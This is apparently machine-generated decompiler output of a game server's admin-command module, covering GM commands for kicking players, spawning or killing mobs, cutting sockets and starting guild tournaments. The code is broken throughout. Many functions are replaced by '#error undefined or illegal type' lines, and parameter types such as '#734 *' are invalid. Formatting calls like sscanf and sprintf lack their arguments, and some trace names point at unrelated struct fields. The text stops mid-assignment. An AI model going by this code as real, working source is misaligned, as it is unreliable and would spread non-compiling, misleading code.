-------------------------------------------------------- char __thiscall ListIter_AmpCmdLevel::lid_Call(ListIter_AmpCmdLevel *this, AmpersandCommandElement *ele, unsigned __int16 handle) { ListIter_AmpCmdLevel *v3; // esi@1 char result; // al@6 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ListIter_AmpCmdLevel::lid_Call"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ListIter_AmpCmdLevel::lid_Call"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *(_DWORD *)&ele->ace_command.n5_name[0] != *(_DWORD *)&v3->liaml_sCommand.n5_name[0] || *(_DWORD *)&ele->ace_command.n5_name[4] != *(_DWORD *)&v3->liaml_sCommand.n5_name[4] || *(_DWORD *)&ele->ace_command.n5_name[8] != *(_DWORD *)&v3->liaml_sCommand.n5_name[8] || *(_DWORD *)&ele->ace_command.n5_name[12] != *(_DWORD *)&v3->liaml_sCommand.n5_name[12] || *(_DWORD *)&ele->ace_command.n5_name[16] != *(_DWORD *)&v3->liaml_sCommand.n5_name[16] ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ListIter_AmpCmdLevel::lid_Call"); result = 1; } else { ele->ace_adminlevel = v3->liaml_nAdminLevel; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ListIter_AmpCmdLevel::lid_Call"); result = 0; } return result; } //----- (00414DE0) -------------------------------------------------------- void __cdecl AmpCmdInit() { unsigned int i; // edi@1 void *v1; // eax@4 char *v2; // esi@4 unsigned __int8 v3; // al@6 ListIter_AmpCmdLevel li_acl; // [sp+8h] [bp-2Ch]@1 unsigned int v5; // [sp+24h] [bp-10h]@1 int v6; // [sp+30h] [bp-4h]@8 v5 = (unsigned int)&li_acl ^ __security_cookie; for ( i = 0; gAdminLvSet.m_pHead && i < gAdminLvSet.m_pHead->nNumOfRecord; ++i ) { v1 = CDataReader::GetRecord(&gAdminLvSet, i); v2 = (char *)v1; if ( !v1 ) ShineExit("ZoneServer::zs_start_old"); v3 = *((_BYTE *)v1 + 19); if ( v3 ) { if ( v3 <= 0x64u ) { ListIter_AmpCmdLevel::ListIter_AmpCmdLevel(&li_acl, v2, v3); v6 = 0; List::l_4AllInList((List *)&cmd, (ListIteratorDefault *)&li_acl); v6 = -1; ListIter_AmpCmdLevel::_ListIter_AmpCmdLevel(&li_acl); } } } __security_check_cookie((unsigned int)&li_acl ^ v5); } //----- (00414EA0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::sp_AmpersandCommand(void *this, __int16 handle, int chat) { void *v3; // esi@1 char result; // al@2 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_AmpersandCommand"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_AmpersandCommand"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *(_BYTE *)(chat + 1) == 38 ) { if ( *(_BYTE *)chat > 0x64u ) { *(_BYTE *)chat = 100; *(_BYTE *)(chat + 101) = 0; } (*(void (__thiscall **)(void *, int, _DWORD))(*(_DWORD *)v3 + 2404))(v3, chat + 1, *(_BYTE *)chat); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_AmpersandCommand"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_AmpersandCommand"); result = 0; } return result; } //----- (00414F90) -------------------------------------------------------- void __thiscall AmpersandCommand::_AmpersandCommand(AmpersandCommand *this) { AmpersandCommand *v1; // esi@1 void *v2; // esi@1 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)AmpersandCommand::_vftable_; _eh_vector_destructor_iterator_( this->ac_command, 0x28u, 256, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v1->baseclass_0.vfptr = (ListVtbl *)AmpersandCommand::_vftable_; v2 = v1->baseclass_0.l_Array; if ( v2 ) operator delete__(v2); } // 633E4C: using guessed type int (__stdcall *AmpersandCommand___vftable_[3])(__int16 hnd); //----- (00415000) -------------------------------------------------------- #error "415000: undefined or illegal type '#734' (funcsize=30)" //----- (004150A0) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_TempLinkUsage(AmpersandCommand *this, #734 *sp) { AmpersandCommand *v2; // esi@1 v2 = this; AmpersandCommand::ac_wall( this, sp, "usage : &templink [ []]"); AmpersandCommand::ac_wall( v2, sp, "ex : &mobbreed 10 Rou Rou 7828 4325 1 150 0"); AmpersandCommand::ac_wall(v2, sp, "note : Permanantly change if linknumber is large then 10000"); AmpersandCommand::ac_wall(v2, sp, " : Gate Close if linknumber is -1"); } //----- (004150E0) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_MobBreedUsage(AmpersandCommand *this, #734 *sp) { AmpersandCommand *v2; // esi@1 v2 = this; AmpersandCommand::ac_wall( this, sp, "usage : &mobbreed [ [ []]]"); AmpersandCommand::ac_wall( v2, sp, "ex : &mobbreed Slime 3 0 n 1 - - 2"); } //----- (00415110) -------------------------------------------------------- int __thiscall AmpersandCommand::ac_Scanf(AmpersandCommand *this, char *buf) { int v2; // esi@1 AmpersandCommand *num; // [sp+0h] [bp-4h]@1 num = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_Scanf"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_Scanf"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; sscanf(buf, "%d"); v2 = (int)num; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_Scanf"); return v2; } //----- (00415190) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_Store(AmpersandCommand *this, char *cmd, int adlev, void (__thiscall *func)(AmpersandCommand *, unsigned __int16, #734 *, int, char (*)[33])) { unsigned __int16 v4; // ax@1 int v5; // esi@2 int v6; // esi@7 int v7; // [sp+18h] [bp+10h]@0 int v8; // [sp+1Ch] [bp+14h]@0 int v9; // [sp+20h] [bp+18h]@0 v4 = this->baseclass_0.l_Finger.empty; if ( v4 == -1 ) v5 = 0; else v5 = ((int (__stdcall *)(unsigned __int16))this->baseclass_0.vfptr->l_AllocZ)(v4); if ( v5 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "Too many AmpersandCommand", 0); ShineExit("AmpersandCommand::ac_Store"); } *(_DWORD *)(v5 + 16) = 0; *(_DWORD *)(v5 + 12) = 0; *(_DWORD *)(v5 + 8) = 0; *(_DWORD *)(v5 + 4) = 0; *(_DWORD *)v5 = 0; strncpy((char *)v5, cmd, 0x14u); *(_DWORD *)(v5 + 20) = adlev; v6 = v5 + 24; *(_DWORD *)v6 = func; *(_DWORD *)(v6 + 4) = v7; *(_DWORD *)(v6 + 8) = v8; *(_DWORD *)(v6 + 12) = v9; } // 415190: inconsistent function type and number of purged bytes //----- (00415220) -------------------------------------------------------- #error "415220: undefined or illegal type '#734' (funcsize=67)" //----- (00415320) -------------------------------------------------------- #error "415320: undefined or illegal type '#734' (funcsize=48)" //----- (004153E0) -------------------------------------------------------- #error "4153E0: undefined or illegal type '#734' (funcsize=39)" //----- (00415490) -------------------------------------------------------- #error "415490: undefined or illegal type '#734' (funcsize=52)" //----- (00415570) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_ServerIndex(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]) { AmpersandCommand *v5; // esi@1 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_SrverIndex"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_SrverIndex"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; AmpersandCommand::ac_wall(v5, sp, "20120409-Hero[Release]-1"); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_SrverIndex"); } //----- (00415610) -------------------------------------------------------- #error "415610: undefined or illegal type '#734' (funcsize=205)" //----- (004158E0) -------------------------------------------------------- #error "4158E0: undefined or illegal type '#734' (funcsize=111)" //----- (00415A60) -------------------------------------------------------- #error "415A60: undefined or illegal type '#734' (funcsize=76)" //----- (00415BA0) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_Timer(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]) { AmpersandCommand *v5; // esi@1 __int16 v6; // ax@1 char *v7; // ecx@3 AxialListPacketBroadcast alchat; // [sp+8h] [bp-18h]@3 int v9; // [sp+1Ch] [bp-4h]@1 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_Timer"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_Timer"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v9 = 0; v6 = AmpersandCommand::ac_Scanf(v5, (char *)arg); if ( v6 ) { v7 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 2064; v7[2] = 1; *(_WORD *)(v7 + 3) = v6; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 5); LOBYTE(v9) = 1; ShineObjectClass::ShineObject::so_AllInMap((void *)sp, (int)&alchat, 1); LOBYTE(v9) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } else { AmpersandCommand::ac_wall(v5, sp, "sec needed"); } --funcallanalizer.fca_stackpoint; v9 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_Timer"); } //----- (00415CA0) -------------------------------------------------------- #error "415CA0: undefined or illegal type '#734' (funcsize=33)" //----- (00415D40) -------------------------------------------------------- #error "415D40: undefined or illegal type '#734' (funcsize=55)" //----- (00415E20) -------------------------------------------------------- #error "415E20: undefined or illegal type '#615' (funcsize=107)" //----- (00415FB0) -------------------------------------------------------- #error "415FB0: undefined or illegal type '#734' (funcsize=50)" //----- (004160A0) -------------------------------------------------------- #error "4160A0: undefined or illegal type '#593' (funcsize=44)" //----- (00416160) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_OXBlock(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]) { AmpersandCommand *v5; // esi@1 char v6; // al@1 bool v7; // zf@1 signed int v8; // esi@2 int (__stdcall **alda)(int, int, int); // [sp+8h] [bp-18h]@5 unsigned int *v10; // [sp+Ch] [bp-14h]@5 int v11; // [sp+10h] [bp-10h]@5 int v12; // [sp+1Ch] [bp-4h]@1 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, (char *)&stru_63450C.maa_TargetSelect.targetlist.mam_Array[4].mts_EnemyAnalyzer.baseclass_0.io_Pointer); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = (char *)&stru_63450C.maa_TargetSelect.targetlist.mam_Array[4].mts_EnemyAnalyzer.baseclass_0.io_Pointer; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = (*arg)[0]; v7 = (*arg)[0] == 79; v12 = 0; if ( v7 ) { v8 = 1; } else { if ( v6 != 67 ) { AmpersandCommand::ac_wall(v5, sp, (char *)&stru_63450C.maa_TargetSelect.targetlist.mam_Array[3].mts_LastHit); goto LABEL_7; } v8 = 0; } AxialListIterator::AxialListIterator((AxialListIterator *)&alda); alda = &AxialListDoorAction::_vftable_; v10 = &stru_63450C.maa_TargetSelect.targetlist.mam_Array[4].mts_LastHit; v11 = v8; LOBYTE(v12) = 1; ShineObjectClass::ShineObject::so_AllInMap((void *)sp, (int)&alda, 0); LOBYTE(v12) = 0; alda = &AxialListDoorAction::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)&alda); LABEL_7: --funcallanalizer.fca_stackpoint; v12 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, (char *)&stru_63450C.maa_TargetSelect.targetlist.mam_Array[4].mts_EnemyAnalyzer.baseclass_0.io_Pointer); } // 633DD0: using guessed type int (__stdcall *AxialListDoorAction___vftable_)(int, int, int distancesquar); //----- (00416270) -------------------------------------------------------- #error "416270: undefined or illegal type '#734' (funcsize=146)" //----- (004164B0) -------------------------------------------------------- #error "4164B0: undefined or illegal type '#734' (funcsize=183)" //----- (00416760) -------------------------------------------------------- #error "416760: undefined or illegal type '#734' (funcsize=97)" //----- (00416880) -------------------------------------------------------- #error "416880: undefined or illegal type '#734' (funcsize=182)" //----- (00416AF0) -------------------------------------------------------- #error "416AF0: undefined or illegal type '#734' (funcsize=185)" //----- (00416DA0) -------------------------------------------------------- #error "416DA0: undefined or illegal type '#734' (funcsize=36)" //----- (00416E50) -------------------------------------------------------- #error "416E50: undefined or illegal type '#734' (funcsize=157)" //----- (00417080) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_questrecieve(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, (char *)&stru_63450C.maa_TargetSelect.aggresiveNoLevel.baseclass_0.mta_InstanceTarget.mts_EnemyAnalyzer); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = (char *)&stru_63450C.maa_TargetSelect.aggresiveNoLevel.baseclass_0.mta_InstanceTarget.mts_EnemyAnalyzer; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, (char *)&stru_63450C.maa_TargetSelect.aggresiveNoLevel.baseclass_0.mta_InstanceTarget.mts_EnemyAnalyzer); } //----- (004170D0) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_questgiveup(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, (char *)&stru_63450C.maa_MobActionStruct.inmove_cancelable.baseclass_0.maim_TargettingRate); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = (char *)&stru_63450C.maa_MobActionStruct.inmove_cancelable.baseclass_0.maim_TargettingRate; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, (char *)&stru_63450C.maa_MobActionStruct.inmove_cancelable.baseclass_0.maim_TargettingRate); } //----- (00417120) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_questcomplete(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]) { AmpersandCommand *v5; // esi@1 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, (char *)&stru_63450C.maa_MobActionStruct.wander.maw_ReturnTick.m_TickInterval); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = (char *)&stru_63450C.maa_MobActionStruct.wander.maw_ReturnTick.m_TickInterval; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; AmpersandCommand::ac_Scanf(v5, (char *)arg); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, (char *)&stru_63450C.maa_MobActionStruct.wander.maw_ReturnTick.m_TickInterval); } //----- (004171C0) -------------------------------------------------------- #error "4171C0: undefined or illegal type '#734' (funcsize=70)" //----- (004172E0) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_skillcooltime(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, (char *)&stru_63450C.maa_MobActionStruct.turning.mat_LastTurn); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = (char *)&stru_63450C.maa_MobActionStruct.turning.mat_LastTurn; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, (char *)&stru_63450C.maa_MobActionStruct.turning.mat_LastTurn); } //----- (00417330) -------------------------------------------------------- #error "417330: undefined or illegal type '#734' (funcsize=140)" //----- (004174E0) -------------------------------------------------------- #error "4174E0: undefined or illegal type '#734' (funcsize=38)" //----- (00417590) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_performance(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]) { AmpersandCommand *v5; // esi@1 signed int v6; // eax@1 FunctionEntarance _; // [sp+14h] [bp-54h]@1 char buf[64]; // [sp+18h] [bp-50h]@1 unsigned int v9; // [sp+58h] [bp-10h]@1 int v10; // [sp+64h] [bp-4h]@1 v5 = this; v9 = (unsigned int)&_ ^ __security_cookie; _.fe_FunctionCode = "AmpersandCommand::ac_performance"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_performance"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_performance"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v10 = 0; PerformanceChecker::pc_loopPERsecond(&performancechech); sprintf(buf, "Main performance : %g loop/sec"); AmpersandCommand::ac_wall(v5, sp, buf); v6 = 10; if ( (*arg)[0] ) v6 = AmpersandCommand::ac_Scanf(v5, (char *)arg); FunctionProfiler::PerformanceRecorder::pr_SetCount(&_PerformanceRecorder, v6); --funcallanalizer.fca_stackpoint; v10 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_performance"); __security_check_cookie((unsigned int)&_ ^ v9); } //----- (00417690) -------------------------------------------------------- #error "417690: undefined or illegal type '#734' (funcsize=58)" //----- (00417780) -------------------------------------------------------- #error "417780: undefined or illegal type '#734' (funcsize=46)" //----- (00417860) -------------------------------------------------------- #error "417860: undefined or illegal type '#734' (funcsize=60)" //----- (00417960) -------------------------------------------------------- #error "417960: undefined or illegal type '#734' (funcsize=31)" //----- (00417A00) -------------------------------------------------------- #error "417A00: undefined or illegal type '#734' (funcsize=97)" //----- (00417B70) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_KickOutPlayer(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]) { char *v5; // esi@1 char *v6; // eax@1 char *v7; // ST00_4@1 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_KickOutPlayer"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_KickOutPlayer"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = gpp.pp_Buffer; v6 = gpp.pp_Buffer + 10; v7 = gpp.pp_Buffer + 10; *(_DWORD *)(gpp.pp_Buffer + 22) = 0; *((_DWORD *)v6 + 2) = 0; *((_DWORD *)v6 + 1) = 0; *(_DWORD *)v6 = 0; strncpy(v7, (const char *)arg, 0x10u); ZoneRingPacketKickPlayerOut::zrpb_Request(&zonringpack_kickplayerout, (#593 *)sp, (NETCOMMAND *)v5); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_KickOutPlayer"); } //----- (00417C30) -------------------------------------------------------- #error "417C30: undefined or illegal type '#734' (funcsize=45)" //----- (00417CF0) -------------------------------------------------------- #error "417CF0: undefined or illegal type '#734' (funcsize=61)" //----- (00417DD0) -------------------------------------------------------- #error "417DD0: undefined or illegal type '#734' (funcsize=78)" //----- (00417ED0) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_MobDistribute(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_MobDistribute"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_MobDistribute"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShinePlayer::sp_MobDistribute((void *)sp); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_MobDistribute"); } //----- (00417F70) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_ChargedItem(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]) { AmpersandCommand *v5; // esi@1 int v6; // eax@1 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_ChargedItem"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_ChargedItem"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = AmpersandCommand::ac_Scanf(v5, (char *)arg); ShineObjectClass::ShinePlayer::sp_ChargedItemTest((void *)sp, v6); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_ChargedItem"); } //----- (00418020) -------------------------------------------------------- void __thiscall PROTO_KQ_INFO::_PROTO_KQ_INFO(PROTO_KQ_INFO *this) { _eh_vector_destructor_iterator_( this->MapLink, 0x1Au, 4, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (00418040) -------------------------------------------------------- void __thiscall KingdomQuest::KQElement::KQElementMap::KQElementMap(KingdomQuest::KQElement::KQElementMap *this) { PROTO_KQ_MAP_INFO::PROTO_KQ_MAP_INFO(&this->mapinfo); } //----- (00418050) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_killallmob(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_killallmob"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_killallmob"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShinePlayer::sp_KillAllMob((void *)sp); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_killallmob"); } //----- (004180F0) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_mobdamage(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_mobdamage"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_mobdamage"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShineMob::sm_DamageSet( sp, (char *)arg, &(*arg)[33], &(*arg)[66], &(*arg)[99], &(*arg)[132], &(*arg)[165], &(*arg)[198], &(*arg)[231], &(*arg)[264], &(*arg)[297]); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_mobdamage"); } //----- (004181D0) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_SuicideAllMob(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]) { AxialListMobSuicide alms; // [sp+4h] [bp-14h]@1 int v6; // [sp+14h] [bp-4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_SuicideAllMob"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_SuicideAllMob"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = 0; AxialListIterator::AxialListIterator(&alms.baseclass_0); alms.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListMobSuicide::_vftable_; alms.alms_MobID = -1; LOBYTE(v6) = 1; ShineObjectClass::ShineObject::so_AllInMap((void *)sp, (int)&alms, 0); LOBYTE(v6) = 0; alms.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListMobSuicide::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)&alms); --funcallanalizer.fca_stackpoint; v6 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_SuicideAllMob"); } // 633D2C: using guessed type int (__thiscall *AxialListMobSuicide___vftable_)(AxialListMobSuicide *this, int, #593 *obj, int distancesquar); //----- (004182A0) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_ServerSocketCut(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]) { AmpersandCommand *v5; // esi@1 int v6; // eax@1 int v7; // eax@4 int v8; // eax@7 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_ServerSocketCut"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_ServerSocketCut"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = AmpersandCommand::ac_Scanf(v5, (char *)arg); if ( v6 >= 0 && v6 < 4 ) sock2gameDB.sb_SocketStr[v6].socket.baseclass_0.m_Status = 3; v7 = AmpersandCommand::ac_Scanf(v5, (char *)arg); if ( v7 >= 0 && v7 < 4 ) sock2gamelog.sb_SocketStr[v7].socket.baseclass_0.m_Status = 3; v8 = AmpersandCommand::ac_Scanf(v5, (char *)arg); if ( v8 >= 0 && v8 < 4 ) *((_DWORD *)&stru_131DDCE4.baseclass_0.m_Status + 66 * v8) = 3; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_ServerSocketCut"); } //----- (004183A0) -------------------------------------------------------- #error "4183A0: undefined or illegal type '#1265' (funcsize=57)" //----- (00418490) -------------------------------------------------------- #error "418490: undefined or illegal type '#734' (funcsize=44)" //----- (00418570) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_GuildTournament(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]) { AmpersandCommand *v5; // esi@1 FieldOption::FieldAttr *v6; // eax@1 unsigned int v7; // ecx@2 char *v8; // ecx@2 unsigned int v9; // eax@2 PROTO_NC_GUILD_TOURNAMENT_START_CMD start; // [sp+10h] [bp-9Ch]@1 FunctionEntarance _; // [sp+24h] [bp-88h]@1 NPCManager::LinkInformTemplete lnkinf; // [sp+28h] [bp-84h]@1 char mapname[9]; // [sp+90h] [bp-1Ch]@1 unsigned int v14; // [sp+9Ch] [bp-10h]@1 int v15; // [sp+A8h] [bp-4h]@1 v5 = this; v14 = (unsigned int)&start ^ __security_cookie; _.fe_FunctionCode = "AmpersandCommand::ac_GuildTournament"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_GuildTournament"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_GuildTournament"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; strcpy(mapname, "GuildT01"); v15 = 0; strncpy(lnkinf.linktoserver, mapname, 0xCu); lnkinf.linktoserver[12] = 0; v6 = FieldOption::fo_GetFieldAttr(&fieldlist.fc_FieldOption, mapname); if ( !v6 ) goto LABEL_11; v7 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v7; v8 = (char *)&namestring + 256 * v7; *(_DWORD *)v8 = *(_DWORD *)&v6->mapidclient.n3_name[0]; *((_DWORD *)v8 + 1) = *(_DWORD *)&v6->mapidclient.n3_name[4]; *((_DWORD *)v8 + 2) = *(_DWORD *)&v6->mapidclient.n3_name[8]; v8[12] = 0; v9 = BTree::operator__(&mapdatabox.mdb_btree, v8); if ( v9 == -1 ) LOWORD(v9) = -1; v9 = (unsigned __int16)v9; if ( (unsigned __int16)v9 < mapdatabox.mdb_maxmapid && mapdatabox.mdb_index[v9] ) { start.nTournamentSeed = 0; start.nTournamentMapNo = 0; start.nExploerTimeMin = 1; start.nWaitPlayTimeSec = 30; start.nPlayTimeMin = 60; start.nNo1 = 4; start.nNo2 = 1; WorldManagerSession::wms_GuildTournamantStart(&stru_131DDCE4, &start); } else { LABEL_11: AmpersandCommand::ac_wall(v5, sp, "Invalid map name"); } --funcallanalizer.fca_stackpoint; v15 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_GuildTournament"); __security_check_cookie((unsigned int)&start ^ v14); } //----- (00418730) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_EndOfKingdomQuest(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]) { AmpersandCommand *v5; // esi@1 int v6; // eax@1 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_EndOfKingdomQuest"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_EndOfKingdomQuest"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = 